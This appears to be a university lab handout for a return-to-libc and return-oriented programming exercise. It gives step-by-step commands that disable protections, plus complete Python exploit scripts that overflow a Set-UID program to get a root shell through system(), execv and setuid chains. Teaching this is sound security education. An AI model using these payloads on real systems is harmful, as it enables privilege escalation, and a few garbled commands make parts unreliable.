Return-to-libc Attack Lab

Table of Contents:

Overview 2
Environment Setup 3
Task 1: Finding out the Addresses of libc Functions 4
Task 2: Putting the shell string in the memory 5
Task 3: Launching the Attack 6
Task 4: Defeat Shell's countermeasure 8
Task 5: Return oriented programming 13
Task 5.1: Introduction to Return Oriented Programming 13
Task 5.2: Return Oriented Programming with arguments 16
Task 5.3: Return Oriented Programming with printf 18
Task 5.4: Return Oriented Programming with setuid 19

Overview

The learning objective of this lab is for students to gain first-hand experience on an interesting variant of buffer-overflow attack; this attack can bypass an existing protection scheme currently implemented in major Linux operating systems. A common way to exploit a buffer-overflow vulnerability is to overflow the buffer with a malicious shellcode, and then cause the vulnerable program to jump to the shellcode stored in the stack. To prevent these types of attacks, some operating systems allow programs to make their stacks non-executable; therefore, jumping to the shellcode causes the program to fail.

Unfortunately, the above protection scheme is not fool-proof. There exists a variant of buffer-overflow attacks called Return-to-libc, which does not need an executable stack; it does not even use shellcode. Instead, it causes the vulnerable program to jump to some existing code, such as the `system()` function in the libc library, which is already loaded into a process's memory space.

In this lab, students are given a program with a buffer-overflow vulnerability; their task is to develop a Return-to-libc attack to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through some protection schemes implemented in Ubuntu to counter buffer-overflow attacks. This lab covers the following topics:

- Buffer overflow vulnerability
- Stack layout in a function invocation and Non-executable stack
- Return-to-libc attack and Return-Oriented Programming (ROP)

This lab has been tested within the seed labs 20.04 VM. You are to download the Labsetup.zip file within this VM and perform the tasks here. The Labsetup.zip file can be found at https://seedsecuritylabs.org/Labs_20.04/Software/Return_to_Libc/.

Environment Setup

Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks.

1. Disable address space randomization using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configuring /bin/sh. In the recent versions of Ubuntu OS, the `/bin/sh` symbolic link points to the `/bin/dash` shell. The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a Set-UID program, and our attack relies on running `/bin/sh`, the countermeasure in `/bin/dash` makes our attack more difficult. Therefore, we will link `/bin/sh` to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in `/bin/dash` can be easily defeated). We have installed a shell program called `zsh` in our Ubuntu 20.04 VM.

2. Use the following command to link /bin/sh to /bin/zsh:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

Compilation

Let us first compile the code and turn it into a root-owned `Set-UID` program. Do not forget to include the "`-fno-stack-protector`" option and the "`-z noexecstack`" option. It should also be noted that changing ownership must be done before turning on the `Set-UID` bit, because ownership changes cause the `Set-UID` bit to be turned off.

3. All these commands are included in the provided `Makefile`. Since all the commands are provided within the Makefile we run the command:

```
$ make
```

Task 1: Finding out the Addresses of libc Functions

In `Linux`, when a program runs, the `libc` library will be loaded into memory. When the memory address randomization is turned off, for the same program, the library is always loaded in the same memory address (for different programs, the memory addresses of the libc library may be different). Therefore, we can easily find out the address of `system()` using a debugging tool such as `gdb`. Namely, we can debug the target program retlib.

Even though the program is a root-owned Set-UID program, we can still debug it, except that the privilege will be dropped (i.e., the effective user ID will be the same as the real user ID).

1. We need to create a file called “badfile” within which we will be storing our exploit code. Then, running gdb in quiet mode.

$ touch badfile
$ gdb -q retlib

2. We create a breakpoint in the main function of the retlib program and then run the executable.

Commands:

gdb-peda$ b main
gdb-peda$ run

3. We print out the addresses of the system() and exit() functions before quitting out of gdb.

Commands:

gdb-peda$ p system
gdb-peda$ p exit
gdb-peda$ quit

Note 1: It should be noted that even for the same program, if we change it from a `Set-UID` program to a non-Set-UID program, the `libc` library may not be loaded into the same location. Therefore, when we debug the program, we need to debug the target `Set-UID` program; otherwise, the address we get may be incorrect.

Take appropriate screenshots and report your observations with appropriate explanations.

Task 2: Putting the shell string in the memory

Our attack strategy is to jump to the `system()` function and get it to execute an arbitrary command. Since we would like to get a shell prompt, we want the `system()` function to execute the "`/bin/sh`" program. Therefore, the command string "`/bin/sh`" must be put in the memory first and we have to know its address (this address needs to be passed to the `system()` function). There are many ways to achieve these goals; we choose a method that uses environment variables.

When we execute a program from a shell prompt, the shell actually spawns a child process to execute the program, and all the exported shell variables become the environment variables of the child process. This creates an easy way for us to put some arbitrary string in the child process's memory. Let us define a new shell variable `MYSHELL`, and let it contain the string "`/bin/sh`".

1. To verify that the environment variable and by extension our malicious string gets into the child process, we set an environment variable and try to print it out using env.

Commands:

$ export MYSHELL=/bin/sh
$ env | grep MYSHELL

We will use the address of this variable as an argument to `system()` call. The location of this variable in the memory can be found out easily using the following program.

`envadr.c`

```
#include <stdio.h>
#include<stdlib.h>
void main(){
     char* shell = getenv("MYSHELL");
     if (shell)
          printf("bin/sh address: %x\n", (unsigned int)shell);
}
```

Create the `envadr.c` file and save the code.

2. Compile the code above into a binary called `envadr`. If the address randomization is turned off, you will find out that the same address is printed out.

Commands:

$ gcc -m32 -o envadr envadr.c

$ ./envadr

The length of the program name does make a difference. That's why we choose 6 characters for the program name envadr to match the length of retlib executable.

Take appropriate screenshots and report your observations with appropriate explanations.

Task 3: Launching the Attack

We are ready to create the content of `badfile`. Since the content involves some binary data (e.g., the address of the libc functions), we can use Python to do the construction. We provide a skeleton of the code in the `exploit.py` file, with the essential parts left for you to fill out.

You need to figure out the three addresses and the values for `X, Y, and Z`.

First we find the value of Y, where we will place the `system()` functions address. When we run the **retlib executable** we get two addresses that will look like the following:

1. **Address of buffer[] inside bof(): 0xFFFFFFFF**
2. **Frame Pointer value inside bof(): 0xFFFFFFFF**

The value of Y in your exploit.py file should be equal to:

Y = [Frame Pointer value inside bof()] - [Address of buffer[] inside bof()] + 4
Z = Y + 4
X = Z + 4

Regarding the address corresponding to X:
This is the variable in the exploit file called `sh_addr`.
We get this value from executing the `envadr` binary.

Regarding the address corresponding to Y:
This is the variable in the exploit file called `system_addr`.
The address of the `system()` function is obtained from `gdb`.

Regarding the address corresponding to Z:
This is the variable in the exploit file called `exit_addr`.
The address of the `exit()` function is obtained from `gdb`.

Fill in these values and complete the `exploit.py` file.

1. First we make our exploit file executable and then we run it to generate the exploit code which will be stored in the "`badfile`". Then we run our vulnerable `retlib` executable.

Commands:

$ chmod u+x exploit.py
$ ./exploit.py
$ ./retlib

2. If your attack was successful you should have gotten a root shell and so you must exit this before continuing with the next task.

Commands:

whoami
exit

Please note if you have changed your terminal name using the export command you may not get the hash symbol, but this is just the visual indicator. Upon running the whoami command you must get root as your answer to indicate that you successfully elevated your privilege. Upon successfully performing the attack there will be another /bin/sh shell spawned and it is here we get the username as root. Exit out of this shell before running the subsequent commands.

Attack variation 1: Is the exit() function really necessary? Please try your attack without including the address of this function in badfile.

Comment out the line 17 which writes the address of the exit function to the payload.

```
15 Z = 0
16 exit_addr = 0x00000000      # The address of exit()
17 #content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
18
```

3. Remove the old `badfile` and create a new empty file. Run the exploit again and execute the vulnerable `retlib` executable.

Commands:

$ rm badfile
$ touch badfile
$ ./exploit.py
$ ./retlib

4. If your attack was successful you should have gotten a root shell and so you must exit this before continuing with the next task.

Command:

exit

Attack variation 2: After your attack is successful, change the file name of retlib to a different name, making sure that the length of the new file name is different. Repeat the attack (without changing the content of the badfile).

5. Rename the executable and repeat the attack.

Commands:

$ mv retlib newretlib
$ ./newretlib

Question 1: Will your attack succeed or not? If it does not succeed, explain why.

6. Rename the executable back to retlib.

Commands:

$ mv newretlib retlib

Take appropriate screenshots and report your observations with appropriate explanations.

Task 4: Defeat Shell's countermeasure

The purpose of this task is to launch the return-to-libc attack after the shell's countermeasure is enabled. Before doing Tasks 1 to 3, we relinked `/bin/sh` to `/bin/zsh`, instead of to `/bin/dash` (the original setting). This is because some shell programs, such as `dash` and `bash`, have a countermeasure that automatically drops privileges when they are executed in a `Set-UID` process. In this task, we would like to defeat such a countermeasure, i.e., we would like to get a root shell even though the `/bin/sh` still points to `/bin/dash`.

1. Let us first change the symbolic link back:

$ sudo ln -sf /bin/dash /bin/sh

Although dash and bash both drop the `Set-UID` privilege, they will not do that if they are invoked with the `-p` option. When we return to the system function, this function invokes `/bin/sh`, but it does not use the `-p` option. Therefore, the Set-UID privilege of the target program will be dropped. If there is a function that allows us to directly execute "`/bin/bash -p`", without going through the system function, we can still get the root privilege.

There are actually many libc functions that can do that, such as the `exec()` family of functions, including `execl()`, `execle()`, `execv()`, etc. Let's take a look at the `execv()` function.

```
int execv(const char *pathname, char *const argv[]);
```

This function takes two arguments, one is the address to the command, the second is the address to the argument array for the command. For example, if we want to invoke "`/bin/bash -p`" using `execv`, we need to set up the following

```
pathname = address of "/bin/bash"
argv[0]  = address of "/bin/bash"
argv[1]  = address of "-p"
argv[2]  = NULL (i.e., 4 bytes of zero).
```

From the previous tasks, we can easily get the address of the two involved strings. Therefore, if we can construct the `argv[]` array on the stack, get its address, we will have everything that we need to conduct the return-to-libc attack.

2. We set the "`-p`" parameter and update the `MYSHELL` environment variable, which we will use as `arg[1] and arg[0]` for the `execv()` function. We will also verify if the environment variables have been set correctly using the env command.

Commands:

$ export MYSHELL=/bin/bash
$ export PARAM=-p
$ env | grep MYSHELL
$ env | grep PARAM

Create a new file called `prtenv.c`, we will use this program to get the addresses of the two arguments required for this attack.

`prtenv.c`

```
#include<stdio.h>
#include<stdlib.h>
void main(){
  char* shell = (char *) getenv("MYSHELL");
  char* param = (char *) getenv("PARAM");
  if (shell&&param)
{
printf("/bin/bash address: %x\n", (unsigned int)shell);
printf("-p address: %x\n", (unsigned int)param);
}
}
```

3. Compile and run the the prtenv.c file using the following commands:

$ gcc -m32 -o prtenv prtenv.c
$ ./prtenv

The length of the program name does make a difference. That's why we choose 6 characters for the program name prtenv to match the length of retlib executable.

This time, we will return to the `execv()` function. There is one catch here. The value of `argv[2]` must be zero (an integer zero, four bytes). If we put four zeros in our input, `strcpy()` will terminate at the first zero; whatever is after that will not be copied into the `bof()` function's buffer. This seems to be a problem, but keep in mind, everything in your input is already on the stack; they are in the `main()` function's buffer. It is not hard to get the address of this buffer.

To simplify the task, we already let the vulnerable program print out that address for you. Just like in Task 3, you need to construct your input, so when the `bof()` function returns, it returns to `execv()`, which fetches from the stack the address of the "`/bin/bash`" string and the address of the `argv[]` array. You need to prepare everything on the stack, so when `execv()` gets executed, it can execute "`/bin/bash -p`" and give you the root shell. In your report, please explain why the constructed input works.

Replace the code inside the `exploit.py` file with the following code. Instructions regarding the specific address values to be filled in are given below.

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

Y = 28
execv_addr = 0xffffffff              # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xffffffff                    # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

X = 36
sh_addr = 0xffffffff                      # The address of "/bin/bash"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

A = 40
```

```
para_addr = 0xffffffff                  # The address input[] +  44(decimal)  in main
content[A:A+4] = (para_addr).to_bytes(4,byteorder='little')

B = 44
content[B:B+4] = (sh_addr).to_bytes(4,byteorder='little')

C = 48                                  # The address of "-p"
para_addr = 0xffffffff
content[C:C+4] = (para_addr).to_bytes(4,byteorder='little')

D = 52                                  # 0x00000000 DO NOT MODIFY
para_addr = 0x00000000
content[D:D+4] = (para_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

4. We will debug the retlib executable again and this time we aim to find the address value of the execv() function. We create a breakpoint in main and then run the executable.

Commands:

$ gdb -q retlib
gdb-peda$ b main
gdb-peda$ run

5. We print the address of the execv() function and then exit out of gdb:

Commands:

gdb-peda$ p execv
gdb-peda$ p exit
gdb-peda$ quit

The values for **X, Y and Z** will be the same as in the previous task. The values of **A, B, and C** must be changed according to the value of **X**.

A = X + 4
B = X + 8
C = X + 12

Regarding the address corresponding to A:

When we run the `retlib` executable, we also print out the address of the `input[]` variable that is present in `main`. This is the address printed out in the first line when we execute the retlib executable. We will be using that address here. In this case we add `44(decimal)` to the address value displayed and fill it in for A's `para_addr` variable.

Regarding the address corresponding to X:

This is the variable in the exploit file called `sh_addr`.
The address value of `/bin/bash` is returned by the `prtenv` binary.

Regarding the address corresponding to Y:
This is the variable in the exploit file called `system_addr`.
The address of the `execv()` function is obtained from `gdb`.

Regarding the address corresponding to Z:
This is the variable in the exploit file called `exit_addr`.
The address value remains the same as in the previous task.

Regarding the address corresponding to C:
This is the variable in the exploit file called `para_addr`.
The address value of `-p` is returned by the `prtenv` binary.

Regarding the address corresponding to D:
No changes to be made, must remain as 0x00000000

6. After filling in the `exploit.py` file remove, recreate the badfile and re-run your exploit.py file to generate the new exploit code.

$ rm badfile
$ touch badfile
$ ./exploit

7. Run the attack and execute the retlib executable.

$ ./retlib

8. Once you get the bash shell run the following commands:

bash-5.0 # whoami
bash-5.0 # ls -l /bin/sh
bash-5.0 # exit

Take appropriate screenshots and report your observations with appropriate explanations.

Task 5: Return-Oriented Programming

There are many ways to solve the problem in Task 4. Another way is to invoke `setuid(0)` before invoking `system()`. The `setuid(0)` call sets both real user ID and effective user ID to 0, turning the process into a non-Set-UID one (it still has the root privilege).

This approach requires us to chain two functions together. The approach was generalized to chaining multiple functions together, and was further generalized to chain multiple pieces of code together. This led to the Return-Oriented Programming (ROP).

Task 5.1: Introduction to Return Oriented Programming

We want to give students a taste of ROP, asking them to work on a special case of ROP. In the retlib.c program, there is a function called `foo()`, which is never called in the program. That function is intended for this task. Your job is to exploit the buffer-overflow problem in the program, so when the program returns from the `bof()` function, it invokes `foo()` 10 times, before giving you the root shell. In your lab report, you need to describe how your input is constructed.

Let's review what we did in Task 3. We constructed the data on the stack, such that when the program returns from `bof()`, it jumps to the `system()` function, and when `system()` returns, the program jumps to the `exit()` function. We will use a similar strategy here. Instead of jumping to `system()` and `exit()`, we will construct the data on the stack, such that when the program returns from `bof`, it returns to foo; when foo returns, it returns to another foo. This is repeated 10 times. When the 10th `foo` returns, it returns to the `execv()` function to give us the root shell. You will need to move into the **ROP** directory.

sudo sysctl -w kernel.randomize_va_space=0;
gcc -m32 -g -fno-stack-protector -z noexecstack -o stack_rop stack_rop.c;
sudo chown root stack_rop; sudo chmod 4755 stack_rop;

1. First we turn off ASL randomization
   sudo sysctl -w kernel.randomize_va_space=0
2. We compile the C code without stack protector and nx stack.

stack_rop.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{
    char buffer[100];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside foo():  0x%.8x\n",
(unsigned)buffer);
    printf("Frame Pointer value inside foo():  0x%.8x\n",
(unsigned)framep);
```

```
        printf("Distance (EBP - buffer) in bytes: %d\n",
               (int)((char *)framep - (char *)buffer));

        strcpy(buffer, str);

        return 1;
    }

    //For the purpose of experiment
    void bar(){
        static int i = 1;
        printf("Function bar() is invoked %d times\n", i++);
        return;
    }

    //For the purpose of experiment
    void baz(int x){
        printf("The value of baz's argument : 0x%.8X\n", x);
    }

    int main(int argc, char **argv)
    {
       char str[2000];
       FILE *badfile;

       char *shell = (char *)getenv("MYSHELL");

       if(shell)
            printf("The '%s' strings address : 0x%.8x\n", shell,
(unsigned int)shell);

       badfile = fopen("badfile", "r");
       int length = fread(str, sizeof(char), 2000, badfile);
       printf("Address of str[] inside main():  0x%x\n",
(unsigned int) str);
       printf("Input size: %d\n", length);

       foo(str);

       printf("Returned Properly\n");
       return 1;
    }
```

Commands :

gcc -m32 -g -fno-stack-protector -z noexecstack -o stack_rop stack_rop.c;
sudo chown root stack_rop; sudo chmod 4755 stack_rop

3. Create badfile

   touch badfile

4. Obtain the addresses of bar and exit.

   gdb -q stack_rop

run
gdb-peda$ p bar
gdb-peda$ p exit

5. Get the offset = ebp - buffer
   b foo
   run
   next
   p $ebp
   p &buffer
   p/d rbp-buffer

6. put these addresses in `exploit.py`

`exploit.py`

```
#!/usr/bin/env python3
import sys

def tobytes(value):
  return(value).to_bytes(4,byteorder='little')

bar_addr = 0x565562ed
exit_addr = 0xf7df9ec0

content = bytearray(0xaa for i in range(112))
content+= tobytes(0xFFFFFFFF)

for i in range(10):
  content+=tobytes(bar_addr)

#invoke exit() to exit gracefully at the end
content+=tobytes(exit_addr)

#write content to the file
with open("badfile", "wb") as f:
  f.write(content)
```

Commands:
chmod +x exploit.py
./exploit.py
hexdump -v -C badfile
./stack_rop

Task 5.2: Return Oriented Programming with Arguments

The previous method does **not** work for functions with arguments because each function's stack frame is only 4 bytes apart (just enough for a return address). There's no space to store arguments. When a function starts, its **prologue** executes:

```
mov  ebp, esp
```

The *mov esp, ebp* makes the new frame pointer only 4 bytes away from the previous one. That leaves space only for the next return address - not for arguments.

To create space for arguments, we skip the prologue entirely.

You will have to move into the **ROP_arg** directory for this task.

1. Turn off countermeasures
   sudo sysctl -w kernel.randomize_va_space=0;
   gcc -m32 -g -fno-stack-protector -z noexecstack -o stack_rop stack_rop.c;
   sudo chown root stack_rop; sudo chmod 4755 stack_rop;

2. Remove if badfile exists / create badfile
   touch badfile

3. Get addresses outside of GDB
   ./stack_rop ---> This will provide "/bin/sh" string address (sh_addr) and address of ebp_foo and offset (ebp address - buffer address)

4. get baz() and exit() address
   gdb -q stack_rop
   run
   gdb-peda$ p baz
   gdb-peda$ disassemble baz
   q

5. Write into the badfile and execute the attack

`exploit.py`

```
#!/usr/bin/env python3
import sys

def tobytes(value):
  return(value).to_bytes(4,byteorder='little')

baz_skip_address = 0x5655632c + 7
exit_addr = 0xf7e04f80
ebp_foo = 0xffffc9a8

content = bytearray(0xaa for i in range(112))
```

```
ebp_next = ebp_foo

for i in range(10):
  ebp_next += 0x20  #0x20 = 32 bytes
  content += tobytes(ebp_next)      #next ebp value (4 bytes)
  content += tobytes(baz_skip_address)      #return address (4 bytes)
  content += tobytes(0xAABBCCDD)      #First argument (4 bytes)
  content += b'A' * (0x20 - 3*4)     #Remaining 32 - 12 = 20 bytes fill with A's - ASCII value is 41

#next ebp value --- this does not matter
content+=tobytes(0xFFFFFFFF)

#invoke exit() to exit gracefully at the end
content+=tobytes(exit_addr)

#argument for exit
content += tobytes(0xAABBCCDD)
#-----in ROP----We must maintain the stack layout expected by your frame-chaining logic

#write content to the file
with open("badfile", "wb") as f:
  f.write(content)
```

Commands:

chmod +x exploit.py
./exploit.py
hexdump -v -C badfile
./stack_rop

Task 5.3: Return Oriented Programming with printf

Since we cannot skip the prologue of some functions (e.g., PLT-based ones), we use a ***leave; ret*** gadget (any function epilogue) to pivot the stack between calls.
In this task, we perform a Return-Oriented Programming (ROP) attack by chaining multiple **printf()** calls using a ***leave; ret*** gadget to pivot the stack, allowing us to pass arguments to each function and repeatedly print the **/bin/sh** string before finally transferring control to **exit()** for clean termination.

You will have to move into the **ROP_printf** directory for this task.

1. Turn off security countermeasures
   sudo sysctl -w kernel.randomize_va_space=0;
   gcc -m32 -g -fno-stack-protector -z noexecstack -o stack_rop stack_rop.c;

2. Export the shell path into environment variables
   export MYSHELL="/bin/sh"

3. Remove if badfile exists / create badfile
   touch badfile

4. Execute stack_rop to get shell and ebp_foo addresses
   ./stack_rop ---> This will provide "/bin/sh" string address (sh_addr) and address of ebp_foo and offset (ebp address - buffer address)

5. Obtain system and exit addresses
   gdb -q stack_rop
   run
   p printf
   p exit
   disassemble bar
   #Get leaveret address
   q

6. Run the python script to write into the badfile:
   `exploit.py`

```
#!/usr/bin/env python3
import sys

def tobytes(value):
  return(value).to_bytes(4,byteorder='little')

leaveret = 0x565562eb
sh_addr = 0xffffd3c8
printf_addr = 0xf7e20de0
exit_addr = 0xf7e04f80
ebp_foo = 0xffffc958

content = bytearray(0xaa for i in range(112))

#from foo() to the first function
ebp_next = ebp_foo + 0x20
content += tobytes(ebp_next)                    #next ebp value
content += tobytes(leaveret)                    #return address
content += b'A' * (0x20 - 2*4)

#printf()
for i in range(10):
  ebp_next += 0x20
  content += tobytes(ebp_next)
  content += tobytes(printf_addr)
  content += tobytes(leaveret)
```

```
  content += tobytes(sh_addr)
  content += b'A' * (0x20 - 4*4)

#exit()
content+=tobytes(0xFFFFFFFF)
content+=tobytes(exit_addr)

#write content to the file
with open("badfile", "wb") as f:
  f.write(content)
```

Commands:

chmod +x exploit.py
./exploit.py
hexdump -v -C badfile --> viewing badfile
./stack_rop

Task 5.4: Return Oriented Programming with setuid

In this task, we extend the ROP chaining technique to bypass the shell's privilege-dropping defense by first using multiple **sprintf()** calls to write zeros dynamically into memory, thereby setting up **setuid(0)**, and then chaining **system("/bin/sh")** to obtain a root shell from the Set-UID program, finishing with **exit()** for clean termination.

1. Turn off countermeasures and make the executable a setuid program for root:
   sudo sysctl -w kernel.randomize_va_space=0;
   gcc -m32 -g -fno-stack-protector -z noexecstack -o stack_rop stack_rop.c;
   sudo chown root stack_rop
   sudo chmod 4755 stack_rop

2. Export the shell's address to environment variables
   export MYSHELL="/bin/sh"

3. Remove if badfile exists / create badfile
   touch badfile

4. Run the vulnerable prgram to find out shell,eb0
   ./stack_rop ---> This will provide "/bin/sh" string address (sh_addr) and address of ebp_foo and offset (ebp address - buffer address)

5. Get the required addresses
   gdb -q stack_rop
   run
   p system

p exit
p setuid
p sprintf
disassemble bar
#Get leaveret address
q

6. Run the python script to write into the badfile:
`exploit.py`

```
#!/usr/bin/env python3
import sys

def tobytes(value):
  return(value).to_bytes(4,byteorder='little')

content = bytearray(0xaa for i in range(112))

sh_addr = 0xffffd3c8
leaveret = 0x5655635c
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e04f80
ebp_foo = 0xffffc958

#Calculate address of setuid()'s 1st argument
sprintf_arg1 = ebp_foo + 12 + 5*0x20

#get the address of byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")

content = bytearray(0xaa for i in range(112))

#use leaveret to return to first sprintf()
ebp_next = ebp_foo + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)

#sprintf(dst, src)
for i in range(4):
  ebp_next += 0x20

  content += tobytes(ebp_next)

  content += tobytes(sprintf_addr)
```

```
  content += tobytes(leaveret)
  content += tobytes(sprintf_arg1)
  content += tobytes(sprintf_arg2)
  content += b'A' * (0x20 - 5*4)
  sprintf_arg1 += 1

#setuid(0)
ebp_next += 0x20

content += tobytes(ebp_next)

content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)

#system("/bin/sh")
ebp_next += 0x20

content += tobytes(ebp_next)

content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)

content += b'A' * (0x20 - 4*4)


#next ebp value --- this does not matter
content+=tobytes(0xFFFFFFFF)
content+=tobytes(exit_addr)

#write content to the file
with open("badfile", "wb") as f:
  f.write(content)
```

chmod +x exploit.py
./exploit.py
hexdump -v -C badfile --> viewing badfile
./stack_ropgdb -q stack_rop